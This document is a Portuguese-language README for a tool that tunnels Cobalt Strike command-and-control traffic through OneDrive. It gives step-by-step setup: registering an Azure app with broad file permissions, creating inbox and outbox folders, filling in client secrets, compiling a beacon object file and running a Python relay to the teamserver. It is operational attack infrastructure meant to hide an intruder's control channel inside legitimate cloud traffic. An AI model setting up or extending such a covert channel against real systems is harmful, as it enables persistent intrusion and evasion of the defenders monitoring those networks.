
OneDrive como transporte C2 encoberto para Cobalt Strike
Um canal C2 definido pelo usuário do Cobalt Strike que usa o OneDrive como camada de transporte.

Files.ReadWrite.All.No Portal do Azure, vá para Registros de aplicativo e crie um novo aplicativo:
Anote o ID do locatário e o ID do cliente na página de visão geral.
Em Permissões de API:
Files.ReadWrite.All.Em Certificados e segredos, crie um novo segredo e copie seu valor.
No OneDrive do usuário, crie duas pastas, uma para a caixa de entrada e outra para a
caixa de saída (por exemplo, c2inbox e c2outbox).
Abra o Graph Explorer, faça login como esse usuário e execute:
GET https://graph.microsoft.com/v1.0/me/drive/root/children
Pegue o id de cada pasta e o driveId de qualquer entrada na resposta JSON.
cp server/config.json.example server/config.json
Preencha server/config.json:
| Campo | Valor |
|---|---|
tenant_id | ID do locatário do Microsoft Entra ID |
client_id | ID do cliente do aplicativo |
client_secret | Valor do segredo do cliente |
drive_id | ID da unidade do OneDrive |
inbox_folder_id | ID da pasta de entrada |
outbox_folder_id | ID da pasta de saída |
Em seguida, compile o cliente:
make
Inicie o relay (use screen ou tmux para que ele permaneça ativo caso seu terminal desconecte):
python3 server/relay.py --config server/config.json --ts-addr <teamserver-ip> --ts-port <udc2-port>
No Cobalt Strike, crie um listener UDC2 na mesma porta e carregue client/bof.o.
| Flag | Descrição |
|---|---|
--config | Caminho para config.json (obrigatório) |
--ts-addr | IP do Teamserver |
--ts-port | Porta do listener UDC2 |
--poll | Intervalo de polling em segundos (padrão 2.0) |
--state | Caminho para o arquivo de estado (padrão: <config>.state.json) |
--debug | Ativar registro de depuração |
--clean | Excluir o arquivo de estado e o diretório de spool, depois sair |
O relay cria alguns arquivos ao lado da sua configuração para acompanhar as coisas entre reinicializações:
config.json.state.json) - rastreia quais arquivos da caixa de entrada foram processados, uploads pendentes e informações de sessão do beacon. Defina um caminho personalizado com --state.config.json.state.json.spool/) - contém dados de resposta que ainda não foram enviados ao OneDrive. Se o relay travar no meio de um upload, o spool mantém os dados para que ele possa tentar novamente na próxima inicialização.config.json.state.json.lock) - impede que duas instâncias do relay sejam executadas com o mesmo estado. Se você vir Another relay holds the lock e nenhum outro relay estiver em execução, o lock está obsoleto devido a um travamento.Se o estado local do relay ficar corrompido ou um lock obsoleto estiver bloqueando a inicialização, use --clean para apagar o arquivo de estado e o diretório de spool para que o relay comece do zero:
python3 server/relay.py --config server/config.json --clean
O arquivo de lock é mantido. O relay não fará a limpeza enquanto outra instância estiver em execução. Na próxima inicialização normal, ele se reinicializa e ignora quaisquer arquivos da caixa de entrada com mais de 30 minutos.
Você também pode redefinir manualmente excluindo o arquivo de estado e o diretório de spool por conta própria. Se o arquivo de lock estiver obsoleto (nenhum relay em execução), exclua-o também.
